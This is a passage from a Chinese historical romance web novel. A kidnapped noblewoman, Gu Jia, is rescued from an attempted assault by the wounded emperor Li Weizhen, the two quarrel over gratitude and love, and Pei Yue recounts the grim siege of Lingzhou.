裴越翻身上了马,顾珂拉着他的手,坐在他前面。秋儿自己骑一匹,二匹马似离弦的箭一样,冲了出去。
顾珈是在一辆黑暗马车里醒过来的。
她眼前一片漆黑,动了动身体,马上发现自己手脚俱被捆绑住,眼睛上被蒙了黑布,连嘴里都被塞了布条。
车辆行驶的很颠簸,顾珈猜她们大概率已经出了城,车里没有别人的吸呼声,她侧耳细听了下马蹄声,除了拉车的,应该还有七八匹马。
顾珈微松口气,这帮人既然没有立即要自己的命,那就还有逃跑的机会,只不知白芍、绿芷她们如何了。<
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她不断的拧着腕上的绳子,却越拧越紧,不由暗暗皱眉,这绳子应是特殊的筋绳所制,越受力收缩的越紧。
虽然醒了,但迷药劲还未过,身上的力气还未恢复,挣了几下已是气喘吁吁,绳子却纹丝未动。
她不由挫败的停止了手腕的动作,思索起了脱身之法。
不知道是哪个环节出了事,现在只希望裴越和蓁蓁能够发现危险,从而能够找到她。
以裴越的心计和蓁蓁的细心,只要他俩未出事,就一定会找来救她。
她现在最重要的事情就是拖,拖到她力气恢复能够伺机逃跑,或者拖到有人来救她。
外面传来几人低声的说话声,马车也渐渐停了下来。
四周一片寂静,应是来到了郊外。
顾珈尽量规律呼吸,怕引起对方的注意。
车帘一声响动,估计是有人确认了一眼她的情况。
有个男声压低声音道“放心吧,这迷药霸道的很,明天早上都未必能醒过来,咱们今晚就在这破庙将就一晚,吃点东西,天亮就继续赶路,估计这帮人就算发现她不见了,也还在城里转圈子呢”。
顾珈没听到回应,估计是其余的人点了点头。
接着便是几人低低的交谈声和吞咽东西的声音。
“老大,咱们可从来没见过这么漂亮的女的,让兄弟们见识见识怎么样”,突地响起一道另人作呕的声音。
顾珈听得心里一沉。
好在那个最早说话的男声呵斥道“王老三,把你那些不要命的想法给我收起来,把你们的裤腰带给我勒紧了,咱们这是在出任务,不他妈是在逛窑子”。
听上去,这人似乎是这几人里的头。
被叫做王老三的汉子尤不死心“主子分明让抓的是个男的,那男的不在这才把她绑了回来好诱使那男的来,你不说,我不说,谁知道今日的事”。
他又看了看左右,“是吧弟兄们,是不是都这么想,有好处大家一起赚嘛”。
先是一阵寂静,其余的几人左看看右看看,虽无人应答,但有人的脸上流露出赞同的神色。
那男声提高了些,环顾四周道“我不管你们是怎么想的,总之,主子没让你们动的东西,谁也别想,要不然,先想想是要□□那东西,还是要脖子上的东西吧”。
说罢,他又恶狠狠的叮嘱王老三“你要是想死,不要拖上我们,如果因为你让计划失败,连累弟兄们受到主子责罚,我们一定会让你死在我们前头”。
王老三尤自不愤,但在那人恶狠狠的注视下,终究是没敢再说什么,可是眼神中还闪着不甘心。
他当真是没见过那样漂亮的女子,身姿婀娜,肌肤赛雪,因为饮了酒双颊酌红,那粉嫩的唇瓣因沾了酒夜泛着诱人的光泽。
他可是想了一路了,如果能跟那女子欢好一夜,即便明日便死了,也是值得了。
他狠狠的咬了一口干粮,心里却是琢磨了起来,他一回头对上了同伴钱八的眼神,瞬间就懂了对方的意思。
他阴笑着朝对方点了点头,二人达成了一种默契。
24. 惊惧
顾珈一动也不敢动,就这样躺在车上,也不知过了多久,正当她浑浑噩噩间,马车边突然想起了动静。
马车一沉,紧接着有男人粗重的喘息传了过来,顾珈的心里瞬间冰凉,看来是那色令智昏,到底摸了上来。
马车外有一道压低了的声音传来“三哥,头儿去四周查探情况,应该要不了多久就会回来,你可千万快着点,别忘了可怜可怜兄弟,兄弟可在这吹冷风替你守着呢,怎么的也得让兄弟体会体会,这女的一看就是个大家小姐,兄弟可没玩过大家小姐呢,也想体会体会跟窑姐哪不一样……”。
“行了行了,别啰嗦了,一会喊你,快看好了”,王老三不耐烦的打断他,一边眼里闪着兴奋的光,一把撕开了顾珈的前襟,露出杏色的兜衣。
胸前骤然接触到冷空气,令顾珈的皮肤颤栗了起来,她再也装不下去了,开始剧烈挣扎起来,手脚却被越挣扎越紧,她惊恐的尖叫起来,声间却被嘴里塞着的布条挡了回去,只发出断续的呜咽声。
王老三先是一愣,顾珈的挣扎,反而更激起他的兽.欲“哈哈,醒了更好,老子就喜欢够味的!”说罢便欺身要而上,去解顾珈的腰带。
马车外的钱八听见里头的动静,声音也带着压抑的兴奋“三哥,人醒着呢?咱样,是不是够……啊!”他闷哼了一声,却是扑倒在地。
听得钱八声音不对,马车里的王老三反应很快,马上回转身子,从马车上探出身子要查看情况。
“咻!”空气里突的传来一声破空声。
王老三来不及发出声音,身体便重重的往后仰倒,重重的摔在马车上,他喉咙上插着的箭尾尤在颤动,他身体抽畜了几下,口齿里呜咽了几声,却只吐出几口血沫,终是没了声音。
四周也转来打斗、呼喝的声音。
顾珈听到车帘被人猛的掀起,接着便有人跳上了马车,她心里一紧,不由自主的往后缩了缩。
那人似是先查看了一下她的情况,然后便是挪动重物的声音,似乎是那王老王的尸首被摔下了马车,接着胳膊被人用力一拉,她便被那人紧紧的箍在怀里。
她刚要挣扎,头顶传来一道无论如何,都不应出现在这里的声音。
“别怕,是我!”
“没事了没事了!”那声音蕴含着颤抖和低哑,在她耳边轻哄。
她呆住了,怎么会是他。
眼前一亮,嘴上一松,眼上的黑布和嘴里的布条被他一把扯了下来,她望入了一双黑沉的眼。
眼前的李维桢是他从未见过的模样,发髻散乱,眼睛通红,额角的青筋覆着一层密密的汗珠,向来爱洁的他身上传来了尘土的气息,他用刀割去了她手脚的桎梏,那双向来修长如玉的手上还带着颤抖。
他又把她从头到尾的梭视一圈,见她确实无大碍,心下这才松了一半,再也忍不住把她按在自己的胸膛上,他不敢开口,咬紧牙关,怕流露出来的声音会再泄露出他的情绪。
天知道他刚到苏州的这半日有多熬人。
他把未来二三个月将要部署的政事在一个月内连着熬了好几个通宵,终于都处理完了,便想来江南找顾珈。
刚到苏州,苏州城里的眼线告诉他顾珈去了苏府,他又找去了苏府,到了苏府却只看见被迷晕的众人,正当他急的要杀人时,属下发现了夏儿留下的标记,忙带人马追了上了夏儿,这才找到这。
结果刚到这里,就让他看见了目呲欲裂的一幕,瞬间所有的血液都涌上了他头顶,他在极怒的情况下,反手沉沉的射出一箭贯穿了那色胆包天之徒的喉咙,想到这里,怒气又涌上了他的心头,要将他碎尸万断!
好在顾珈没出什么事,要不然,他都不知道如何面对顾珈,好是他来晚了,他这辈子也不会原谅自己,没保护好她。
顾珈被箍在他胸前,感觉他心脏急剧跳动,快要震破她的耳膜,而他的手臂越收越紧,像是要将她融进他的骨血里去。
这一晚上的惊俱终于落定,顾珈的心中一时被多种情绪冲击,泪水不受控制的涌了出来。
她心里闪过很多念头,什么原则,什么底线,经历了这惊魂的一晚,劫后余生的她只想把这些都放一放,她也不想知道是怎么回事,他又为什么会出现在这里,今晚她只想顺从自己的内心,别的明天再想吧。
手上终于恢复了些力气,她试探的伸出手,回抱住了他。
李维桢有些不敢置信,他心头狂喜,略微离开些距离,想要看清她脸上的表情,突的耳边传来破空之声,他心一下惊,下意识的伸手一档,一把匕首划过他的胳膊,钉到了车臂上。
他反手一扬,袖中的短剑飞出,那偷袭之人闷哼一声,身体晃了晃,躺到在地。却是钱八中箭之后假死偷袭。
李维桢好看的眉头微蹙,咬了咬牙,左手臂上被深深的划了一道口子。
顾珈低呼一声,忙拉过他的手查看伤势,只见血流如注,低头就要撕自己的裙子他包扎。
看到偷袭过来护驾的夏儿忙上了马车,接过李维桢的胳膊“大姑娘,我来吧,我跟秋儿学过包扎”。
顾珈胡乱的点点头,担心的在旁边看着夏儿给李维桢包扎。
而李维桢却一只手牢牢的抓着她的手,脸色微白,低着头就这样一直注视着她。
夏儿仔细的查看李维桢的伤口,脸色却越来越沉,她刚想抬头说些什么,就对上了李维桢略含警告的眼神,心中一凛,只得把话咽回了肚子里。
“回主子,都清理干净了,留下了一个活口,还有一个离队了,已经派人去追了”,马车外传来侍卫的声音。
李维桢淡淡的道“不管用什么办法,让他把知道的全吐出来”。
“是”。
远处突的传来马踏声,众人不由再次戒备起来,待到近前,刚才的侍卫惊喜的唤出声“是裴郎君!”
却是裴越、顾珂等人沿着夏儿的标记追了上来。
李维桢的伤口已经简单的处理
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完了,他解下了身上的披风,手一扬,把顾珈牢牢的包裹住,用没受伤的那只手牵着顾珈下了马车。
裴越看到马车旁熟悉的脸孔,已然猜到是李维桢来了,看到他身上带血,心一沉,忙下了马,快走走到近前,“圣人受伤了”。
“姐姐!”顾珂下了马正好看到顾珈从车上下来,眼里嚼着泪花,奔到她身边,再三确认她无碍后悬了一晚上的心总算放回了肚子。
“圣人……”,看到李维桢受伤的部位,裴越的眉头越皱越紧,在李维桢饱含深意的眼神下,终究未问出口。
这时出去追那伙头目的侍卫骑马几人奔回来,其中一匹马上挂着个人影,侍卫中的一人下马跪倒“主子,已经追上了,是活口”。
李维桢眼中泛出冷意“查”。
侍卫们暗暗将苏府严查一圈,排除了苏府众仆的嫌疑,一行人又回到了苏府落脚,对外只称长安来的李公子,住在了致仆斋旁边的大院子松榭居。
第二天,顾珈却是没见到秋儿、夏儿。
知情正在给顾珂梳头,闻言神色犹疑,咬了咬唇,道“早上出去的时候,听旁的小丫头说看见夏儿、秋儿刚从松榭居那边回来去房间休息了,说是二人互相搀扶,身上披着斗篷看不真切,只二人看着不好,腰都直不起来同,像是……像是挨了打”。
顾珈正端着茶盏送到嘴边,闻言手一顿,垂下了眼眸,半响,叹了口气,终是放下了茶盏。
“一会我去瞧瞧她们”。
顾珂点点头“哪里有千日防贼的道理,再说这次有惊无险,全靠她俩机敏,要不然这后果当真不敢设想”。
“只怕是她俩自己心里过不去”,顾珈叹了口气,又哼道“这回算是被裴越这小子连累了,那伙子贼人这是抓他没抓着,结果让我遭受了无妄之宁,一会我倒要问问他怎么补偿我”。
顾珂顺着头发的手一顿,视线不由自主的看向了桌子上静静躺着的那支簪子,时过境迁,再面对裴越,昨天的问题,她怕是再没勇气问出口了……
收回视线,她转移话题道“没想到李公子追来了,姐姐有什么打算”。
昨儿晚上回来的太晚,大家草草就安顿了,还未多说几句话,听到这话,顾珈道“我这心里乱糟糟的,还未想好,只是昨天晚上那个时候,当时的那一刻,我当真想不顾一切,就这样从了他,是当他的妃子也好,还是皇后也罢,只是如今天亮了,又照亮了那些我想忽略的东西……我还是没想好”。
人心都是肉长的,何况顾珈对李维桢本就有情。
如果这还是四四方方的长安城,也许顾珈也不会动摇,只是在这风貌水土完全不一样的另一片天地这次李维桢的突然出现仿佛与从前她所纠结的全部割裂。
他不再是那个坐拥六宫美人的帝王,还是那年乐游原上对他绽出温柔笑容的青年。
昨晚,在她最脆弱无助的时候,他的突然出现如天神降临一般,都在撕扯着她的原则,她的底线。
25. 惩罚
顾珂笑道“只怕李公子听了这话要后悔死,不如昨天就趁人之危、趁胜追击,一鼓作气让你应了他,这倒好,给了你反悔的机会,煮熟的美人要飞了”。
昨天晚上顾珈是被李维桢紧紧搂在怀里同乘一匹马回来的,顾珂可是看的真真的。
姐妹二人各自收敛了心情,打趣了一番,便一同去看了秋儿、夏儿。
秋儿、夏儿果然是自己去找元宝领的罚。
李维桢是派她二人来保护顾珈二人的安全,结果顾珈在她二人的眼皮子底下被掳走了,这幸好圣人及时赶到,要不然后果不堪设想。
她二人越想越后怕,只怕到时候她们万死都难逃其罪。
元宝左右为难,这点小事又不好去禀了李维桢,又知道不罚的话她二人心里也不好受,且这次确实是她二人办差不力,只好每人各打了十杖。
正常情况下这十杖下去二人怎么也要躺上两月,只他跟秋儿、夏儿在宫中相处多年,于心不忍,雷声大雨点小的打了十杖,面上看着血淋淋一片,其里肌里并无大碍,估计以她二人的身体素质,要不了半个月就能下床了。
二女一看顾珈姐妹来了,一瘸一拐的忙要跪下请罪,被她二人一把扶住。
二人安慰了二女几句,又嘱咐她们好好养伤。
顾珂等人正要去松榭居看望李维桢的伤势,田大领着几个小仆迎了上来。
“二位姑娘”,田大急冲冲而来,五月的天里,额上沁出了一层汗。
“田伯,是有什么急事吗”,二人对望一眼,问道。
田大胡乱的擦了擦头上的汗,满含歉意的道,“让几位贵客在府上受了惊,小的昨晚一宿未睡,心里实在过意不去,倒底是我们照顾不周,还好几位吉人天相,要不然小的只怕要以死谢罪了,几位贵客莫要责怪,以后一定严加防范,绝对不再让那起子贼人有机有趁”。
昨天晚上回来的时候田大还未醒,夜已深了,几人也十分困顿,把田大叫起来之后简单交待了几句便先安顿了。
裴越等人对苏府的人只说是及时碰上了李公子,略去了顾珈惊魂的那段,免得人多口杂。
虽然昨晚顾珈等人未并说什么,可田大却越琢磨越不对,早上又跟李维桢的侍卫打听了一下情况。
虽说问题并不是出在苏府内部,他们也都中了招,可人倒底是在府上出的事,若不是府上管理松懈,贼人哪里有机会在他们的饮食中下药。
这寻思了半宿,听说顾珂等人起身了,这忙来赔罪。
顾珂道“田伯莫要这样说,想必是我们这从船上劳师动众的搬运行李,让这些贼人打上了钱财的主意,应该是我们连累了府里,我们这不是都没事吗,不用放在心上”。
田大虽然只是个仆人,但这种在宅门里当了三十年的老管家,个个都是个人精。
昨天他们一行人回来之后,他一眼看出来这里面身份最高的恐怕是那位长安来的李公子,那举止作派,还有那些侍卫,一看就不是普通官宦人家能养出来的。
那位李公子还受了伤,虽说自家老爷也做着长安里头的县令,可这长安城里藏龙卧虎,自家老爷怕是不够看的,何况这位公子还姓了国姓“李”。
田大生怕给自家老爷招了祸。
他又诚心诚意的道“多谢几位贵客不怪罪,我这早上就使人去了码头,弄了些新鲜的鱼,这季节正好那海里的鱼迴游,养了一冬天,个个又大又肥美,晚上给几位贵客做个生脍,我们府里养着片生脍的厨子,那技术在整个苏州城都数得上的,再加上些咱们本地的一些特产吃食,不值给几位贵客夸嘴,权当尝个新鲜罢了,我们府里还有珍藏了二十年的好酒,几位贵客昨天来了,府里还未接风,晚上定要尝尝,小的代老爷尽地主之宜,给几位贵客压压惊,洗洗尘”。
顾珂知道推辞的话,只怕他心里不好受,便大大方方道“如此,便劳烦田伯了,不要太过麻烦就是了”。
“不麻烦不麻烦”,田大见她应了,心下这才松了口气,便也不多留“那宴摆在揽月轩旁的亭子里,您看可行吗?”
二人自是没有什么意见,田大便也不多打扰,自去准备了。
到了李维桢院子,自有元宝引她二人进去。李维桢正坐在案前看着什么,手上的伤口看着像是着人又重新处理了。
裴越面色不太好看,正坐在下首的椅子上喝茶,见顾珂进来了,轻轻的放下茶盏,笑着向她看过来。
顾珂没来由的心一跳,感觉耳尖微热,回避了他的视线,裴越微愣。
她心情却没来由的有些烦躁,跟顾珈一起对李维桢弯身行了一礼。
李维桢看见顾珈来,忙绕过案子来扶顾珈,顺势拉过顾珈的手。
顾珈愣了一下,终是抽回了手。
李维桢看着空了的手,立了片刻,心里叹了口气,倒底未勉强她,只作不在意的坐回案前。
几人各怀心思的寒暄了几句,顾珈便带着顾珂离开了这里,逃离这压抑的氛围。
姐妹二人各自梳理着心事,一路无话回了揽月轩。
到了下午,顾珂想起从长安带来的外伤良药,着知意找了出来,带着想去给夏儿姐妹些。
她带着知意走到窗口,知意正待上前敲门,顾珂瞬的顿住,一把拦住知意。
透过半掩的窗子,里面传来了姐妹二人低低的交谈声。
“你是说圣人的左手当真是废了?”这是夏儿的声音。
“是的,那刀口又长又深,正中左手手筋上,今天早上我又去给圣人重新包扎的,不会看错的”,秋儿低声道。
“果然如此,昨天晚上我就看着不对,但元宝公公昨儿个就点明了这事,说谁要是传出去就放心自个的脑袋”。
“圣人应是怕大姑娘担心,只是可惜了这只手以后怕是废了,虽然看着与常人无异,但却不能像往常那样用力了,亦不能练武射箭了,姐姐,我不太明白,圣人如此将大姑娘放在心上,这事为何不告诉大姑娘,大姑娘想必会更加感动,圣人应该能如愿了啊”,秋儿有些不解。
夏儿叹了口气,“你还不懂,其实我也不懂,但我猜正是圣人真心待大姑娘,才怕她心里有负担吧,圣人九五至尊,想要什么不是别人眼巴巴的送到
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眼前,如此骄傲的人,应该不能受得了大姑娘只是因为感动而委屈自己吧”。
二人又低声说了几句什么,顾珂只觉心里一片冰凉,她深一脚浅一脚的与知意摸回了揽月轩。
药现时是送不出去了。
顾珈正倚在窗前的罗汉榻上不知想着什么,看着顾珂神思恍惚的坐在对面,不由问道“你这是怎么了”,说完又抬头以眼神询问跟着回来的知意。
可平日里你不问也会叽叽喳喳不停的知意,此时像个鹌鹑一样,看了她一眼,欲言又止,最后干脆躲去了隔间。
顾珈敛了神色,道“到底出了什么事”。
顾珂回过神来,对上顾珈疑惑的眼神,内心天人交战。
如果跟姐姐说了,以姐姐的性格,想必不会想欠别人什么,可是如果不跟姐姐说,如果他二人以后未有好的结果,留下什么遗憾,她又如何能过去自己心里这一关。
“你倒是说话啊?”顾珈见她这神态,越发的着急起来,不由催促道。
顾珂终是把心一横,把听到事情一五一十的告诉了顾珈。
顾珈愣了半响,脸上的神情看起来还算平静,只是血色在一点一滴的褪尽。
顾珂担心的握住她的手,“姐姐......”。
顾珈的手冰的吓人。
顾珈反倒越发的平静,她摇了摇头道“我没事,我也不会因为这个就委屈自己,你放心吧”。
顾珂还待说些什么,顾珈道“蓁蓁,我去二楼吹吹风,待晚食的时候我再下来”,说罢转身上了二楼。
顾珂张张嘴,终是什么都没说出来,静一静也好,有些事情最终也只能靠自己想明白。
不禁又想到裴越,心下黯然,不由自嘲的笑笑,还让别人想明白呢,自己这里亦是一团乱麻。
裴越,他到底是怎么想的呢......
晚食果然如田大说的那样,虽算不得山珍海味俱全,可是都是新鲜的本地特色,辅以精致的刀功,看得出来很是下了一番功夫。
待菜上齐,田大识趣的不再打扰,行了一礼便退下来,留四人隔着桌子对坐。
顾珂略担心的瞄了一眼顾珈,见她似乎面色如常,还在同裴越说笑,心下不由微松。
顾珂饮了一口酒,暗道难怪田大敢夸出口,果然好酒,不由又啜了一口。
裴越一直在暗暗注意她,见状不由被她餍足的样子逗笑。
他的一笑,仿佛春风吹散了冰上的裂痕,直吹进人的心里,旁边守着的苏府的小丫头见状都悄悄红了脸。
顾珂却混然不觉,李维桢笑笑,道“敬二姑娘一杯,二姑娘书画双绝又有勇有谋,不愧是大司成的嫡亲孙女,朕......在下有伤在身不能饮酒,颇为遗憾,以茶代酒敬你一杯”。
顾珂忙放低杯子与他略碰了下,“还未多谢公子此前主持公道,应该是我敬您”。
李维桢道“我还从未见过哪家文文雅雅的小娘子有你这样的马术,当真是一鸣惊人啊,平日里未免太过低调了些,之前你姐姐去乐游原跑马,从不见你,是在家找了师傅偷偷学吗”。
26. 感激
“您过誉了,我舅舅是云州刺史谢岐,十来岁的时候去住过两年,那里人人好马,呆的久了些,跟表姐们学了些皮毛”。
李维桢挑了挑眉,有些意外道,“是他啊,我知道他,是个地方能臣”。
他又看了看裴越“云州离之前裴越跟回纥交手的灵州、丰州不远,之前他保灵州的时候,还从云州调过兵,就是谢岐主持的调兵”。
“听说最近回纥新换了个可汗,蠢蠢欲动,如果他们真的不知所谓,裴公子是不是还得上战场”,顾珈接过了话茬。
“不会再去了”,裴越却垂下了眸子,淡淡道。
“为什么”,顾珈下意识的追问了一句,也问出了顾珂心里的问题。
是啊,为什么呢?没来由的,顾珂心里突然浮现目睹他从灵州回来那次,他那日的神情历历在目,心下微紧,不由看向他。
一时间,姐妹二人两双眸子俱盯着裴越。
裴越却未出声,似乎是在斟酌如何回答,却听李维桢轻咳了声“无论如何,犯我国土者,必诛,我大靖好男儿比比皆是,自然会让他们有来无回,来,尝尝这鱼脍,当真比长安的新鲜”。
裴越恢复了笑容,几人顺势尝了几口鱼脍,顾珂只好放弃追问,只心里的疑云一直挥之不去。
这宴席直吃了二个时辰,宴毕已是月上中天。
李维桢未饮酒,只元宝担心他的伤口,一再劝他注意休息,这才依依不舍的离了席。
他看了顾珈一眼,眉心微微动了动,眉眼间染上点笑意,想说些什么,终是什么也没说,深深的看了顾珈一眼,由元宝扶走了。
罢了,不能操之过急。
他在心里劝着自己,转过身顾珈却跟了上来。
“你......”,他张了张口。
顾珈只道“我有些话想跟你说”。
李维桢有些意外,心下却不免期待起来这是三年多来顾珈第一次主动找他。
回到了李维桢的房间,李维桢回头看了元宝一眼,元宝立即停住脚步,守在了门口。
李维桢还未回身,顾珈却从身后突然抱住了他,低头看着紧紧攥着他胸前的衣服揉白指尖,身体一僵,呼吸顿住,喉结滚动的厉害,像被什么钉在了原地。
“……怎么了”,他喉间发紧,声音也染上了暗哑。
身后的人未回应,却能感觉到她混身僵得厉害,唯独肩膀控制不住的轻轻发抖。
见身后的人半天未有回应,他修长的指尖覆上了她的,稍微用力拉开了些,转身想看清她的表情。
还未看清,脖子突的一沉,面前一暗,却是她柔软馨香的唇瓣覆上了他的。
脑中轰了一声,李维桢像是被烫到一样,却又舍不得推开,没有立刻回吻,只是垂眸看着她,眼底翻涌着克制的暗潮,似是想要看清她眼底的神色。
顾珈并不知亲吻该如何做,只是闭上眼睛用力贴了上去,见他并没有反应,不由有些挫败的睁开了眼,难堪与委屈一并涌了上来,她眼圈微红,双臂更加用力的圈住他的脖子,声音发颤,“……吻我”。
尾音被她再次揉进了他的唇间。
李维桢瞳孔一缩,未受伤的那只手猛的扣住了她的纤腰,反客为主,将她抵在门板上,使彼此之间再无缝隙。
所有的隐忍与克制在这一刻土崩瓦解,他沉溺于其中,只觉得不够,心跳的快要炸开,忍不住的想要索取更多。
她柔顺的倚在他的胸前,眼睫轻颤,似是无力承受他的霸道,却又没有退缩,似是带着破釜沉舟的决绝。
李维桢的心里似是被浇了一盆冷水,原本汹涌而出的情欲瞬间沉了下去,眼神恢复了一丝清明。
他强撑着最后一丝意志力,微微偏头,拉开了一丝距离,温热的喘息拂到她的面庞。
指尖托起她的下巴,看清了她眼底的孤注一掷后,猛的一沉,脑中闪过一个念头。
“为什么……”,他平静的开口,只是声音带着克制不住的低哑。
顾珈像是被钉在了原地,感觉在他的目光下像是被扒光了衣服,所有的心思都被他看穿,她强撑着身子,强烈的羞耻被她压下,颤抖着坚持道,“要我……”
巨大的愤怒瞬间攫取了他的心神,他微闭了闭眼,强压下眼底的愤怒与心疼,不想吓坏她,说出了心底的猜测“你想跟我做个了断?”
“你不想要我吗”。
“然后呢?”李维桢的声音渐渐没了温度。
顾珈红着眼圈,强忍不让眼泪流下,她别开视线,“你想要,我愿意给你,还问什么然后”。
他的目光狠狠的衢着她,手指用力的捏着她的下巴,喉结滚动,一字一句,“你想这样,然后心安理得的推开我?”
顾珈吃痛,皱了皱眉头,反倒有些豁的出去了,“你既对我有情,那我给了你便是,如果……如果你以后……以后还想,来找我……便是”。
李维桢听了这话怒极反笑,声音里带着山雨欲来的平静“所以,你这是为了你的原则、你的底线,连名分都不要,连你清清白白的身子都可以舍弃了,顾珈,你把我当什么?窑子里的嫖客吗?你把自己当什么?你觉得你是在报答我吗?你有问过我需要什么吗?”
他的话戳穿了她所有的心思,把她的想法全都暴露在他眼前,他的目光似是狠狠的给了她一巴掌,她脸上的血色瞬间消失。
她咬着苍白的唇瓣倔强开口,“那我该怎么办你告诉我?这难道不是最好的结果吗?如果时间长了,你可能也就腻歪了,我们就彼失放过,避免以后色衰而爱驰,好聚好散不好吗”。
“好好,非常好,顾珈,这些都是你一厢情愿的,你把你的想法强加给我,我觉得你这样就没有心理负担了,可是我需要你的感激吗?我需要你为了感激做这些吗?你太自私了,你有问过我的想法吗?”。
再也忍不住,李维桢手一甩,顾珈的脸被她甩的一偏。
他上前一步打开了门,脚步在门口停住,顾珈垂下的眸子正好看到他的手背绷的发白,指
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节却仍在细微的打着颤。
他深吸了一口气,背对着她,声音被宽厚的肩膀挡得有些模糊,他抛下了一句话,然后头也不回的步入了月色之中,“顾珈,不要侮辱我,也不要侮辱你自己……”
双腿再也无力支撑,顾珈伏倒在地,手背一凉,却是眼泪再也控制不住的滑落下来。
*
那边裴越见顾珂喝的脚步不稳还要去池边转转,不放心的跟了来。
顾珂觉得自己意识非常清醒,只是喝的实是太多了,脚有点不太听使唤,走的深一脚浅一脚的,直看的裴越胆战心惊,怕她一不小心载到了池中喂了鱼。
顾珂突然坐到了池边,扬起已有些发直的笑眼,拍了拍旁边,对着裴越道“裴大哥坐啊”。
裴越无奈的叹了口气,嘴角的笑容却带着一丝宠溺,一撩衣摆,当真坐了过去。
“裴大哥,我能问你个问题吗”,顾珂转头看着裴越。
裴越不由自主的点了点头,“你问”。
“为什么不再上战场了?”,借着酒意,她问出了心中的疑惑。
他微怔,没料到她会问这个问题,一时间不由沉默。
“其实,你回城那天,我去了,我看到你不高兴,是发生了什么事吗”。
裴越依旧沉默。
顾珂低着头扭着手指,道“如果不方便说……”
“没什么不方便说的”他望着池边的红鲤,眼前浮现了四年来的刀光剑影,他停顿了一瞬,似乎在斟酌每个字的重量,“我只是说出来怕吓到你”。
“我想知道”,顾珂直视着他的眼睛。
“那时的我,不知天高地厚,府里的武师父都说我的武艺已经超过了他们,也超过了母亲,说我是百年难出的少年英才,他们总这么说,我也就信了,那时我又考中了进士,一时之间我只觉得自己无所不能,正好那时回纥履次来犯,少年意气的我,觉得正是我一展所学的时候。我跟母亲说了,我以为母亲肯定会理解我,支持我的决定,没想到她严厉的拒绝了我,说我的心境还不到火候……那时的我哪里听得了这个,便留书一封自己偷跑了去……”。
说到这里,他自嘲的轻笑,又继续娓娓道来。
随着他轻声的诉说,那些他过往的岁月,也一一的浮现在她的眼前。
裴越去军中后,因为功夫扎实人又善谋略,凭着少年郎的意气大大小小的战役打了几场下来后渐渐崭露头角,军功越攒越多,官也越做越大。
但是很快他就发现,昨天跟你一起喝酒的兄弟,明天可能就再也睁不开眼睛了。
战争赋予他最真切的残酷不是自己流血流泪,而是失去。
后来,他不敢去跟战友们交好了,他刻意板起脸子,让谁都不敢靠近,战友们叫他一起喝酒,他也从来不去。
大兵们都骂他,说他目中无人,后来他长公主之子的身份瞒不住后,这种说法更加甚嚣尘上。
他便更加独来独往。
直到灵州保卫战。
27. 灵州
裴越接上级调令带五千人马去灵州布防。
结果回纥突然回扑,十万大军直奔灵州。
他被困在了灵州,连同灵州本地兵马共计才一万多人。
灵州被围了两个月。
在这两个月里,灵州的防御使萧达在城墙指挥时被流矢射中,以身殉了城。
敌人一次次的架梯强攻,投石、火攻轮番齐上,城门在摇摇欲坠间勉强坚守。
到最后的十来日,算上伤兵及募集来的能提刀的百姓,已不足千人,其余皆是老弱妇孺。
连日苦战,粮草早已告罄,战马都宰杀殆尽,城中的树皮草根也被搜刮一空。
无论是百姓还是士兵,均饿的眼前发黑。
缺医少药,有些兵卒并不是在城头英勇就义,而是死在得不到有效救治上。
裴越和萧达的儿子萧文州一次次的组织百姓上城楼支援,一次次的打退回纥人,灵州城内的人越来越少。
在早根树皮都被搜刮干净后,城中百姓间出现了易子而食的现象。
灵州城仿佛人间炼狱。
这种现象引发了一种巨大的恐俱,攫住了人的心脏。
裴越也饿,握刀的手越来越抖,到最后完全是意志力在强撑。
在他又一次打退强攻,无力倒下时,萧文州端来了一碗肉汤。
他什么也没说,拂袖而去,徒留萧文州对着汤碗叹气。
城中能站起来的人越来越少了,望眼城外,俱是黄沙,看不到一丝一毫援军的影子。
在他又一次被搀下城楼时,他连刀都握不住了,迷迷糊糊间他想自嘲的笑笑,却连扯动嘴角的力气都没有了。
他大概是要成为大靖朝第一个被饿死的将军了。
脑中闪过了很多的片断,渐渐的他已分不清此身是梦还是现实。
恍恍惚惚间,似乎有腥甜的液体流进了他的嘴里,滋润了他干裂流血的唇瓣。
似久旱逢干霖,他像抓住救命稻草一样,大口大口的吞咽。
第二天他清醒了过来后,第一反应就是自己食了上次那样的肉汤,他强撑着剧烈的反胃去质问萧文州。
萧文州面如金纸,在他一推之下竟没站住。
裴越看到了萧文州跌倒在地时露出来手臂,简单包扎后还隐隐泛着血痕,下颌咬的死紧,整个人都在颤抖,手攥了又攥,终是一句话也说不出来。
萧文州从阎王手里拽的这下,把他拽了回来,灵州也终于等倒了救援。
萧文州因伤重体弱留在灵州休养,未回京受赏,而他也离开了边境,踏上了回长安的路。
“所以那天我看到的不是错觉,你是真的不开心......”,听完整个事情的经过,顾珂指尖发颤,心中一片冰凉。
真实情况只会比想象中更残酷。
裴越轻轻的吐出口气,似乎也终于从这片梦魇中挣出。
“之前,我总以为自己无所不能,人定可以胜天,等到发现自己在滚滚车轮中身不由己时,才知道以前的我是多么的幼稚......”,裴越道。
顾珂轻声道,“你不要妄自菲薄,如果你到战场,发现现实远比想象的残酷,落荒而逃,或许可以叫你幼稚,但是你紧持住了啊,你选择去调整自己适应它,最后你也战胜了它,不论谁处在你当时的位置上,都不见得会比你做的更好,你还坚持了住了自己的原则和底线”,她顿了顿,“在我心中,你已经比很多人,强万万倍了”。
裴越心中一暖,她的话像一阵清泉流入了他干涸已久的心田,黑沉的眸子不由锁住了她。
她低着头,尤未觉,抠着自己冰凉的手指继续道“你现在二十岁了,去看你十五岁做的选择,当然幼稚,你也长了五岁啊,你十五岁的时候看你十岁的时候的事情,难道不幼稚吗,也许过了很多年以后,你再看你现在的事情,依然很幼稚,这大千世界有那么多面,我们才看了几面”。
裴越在最初的怔愣中回过神来,看着她认真的模样,忍不住轻笑了一下,“你说话的语气跟我娘好像”。
顾珂闻言,不由眉头微蹙,回头瞪向他,两人目光猝不及防撞在了一起。
月光静谧的洒在二人身上,池边的风恰好掠过,拂起了她耳边的一绺发丝。
二人同时定住了。
本应有蝉鸣,有花香,都都仿佛融进了雾里,五感似乎被剥夺了,连呼吸都轻了。
坐在池塘边的二人就这么静静对视,只余彼此眼底的悸动。
他喉间微紧,他不自觉的抬起了手,似是想碰触她的眉眼。
顾珂被他的动作惊醒,回过神来,她的手猛的攥紧了衣角,偏开了头。
他的手僵在了半空中。
一时间二人皆有些不知所措。
好在这种尴尬很快就被打破。
“裴将军,圣人有命,即刻起程回京”,有侍卫匆忙来报。
裴越定了定神,不着痕迹的收回了手,扬声询问“为何走的如此匆忙?”
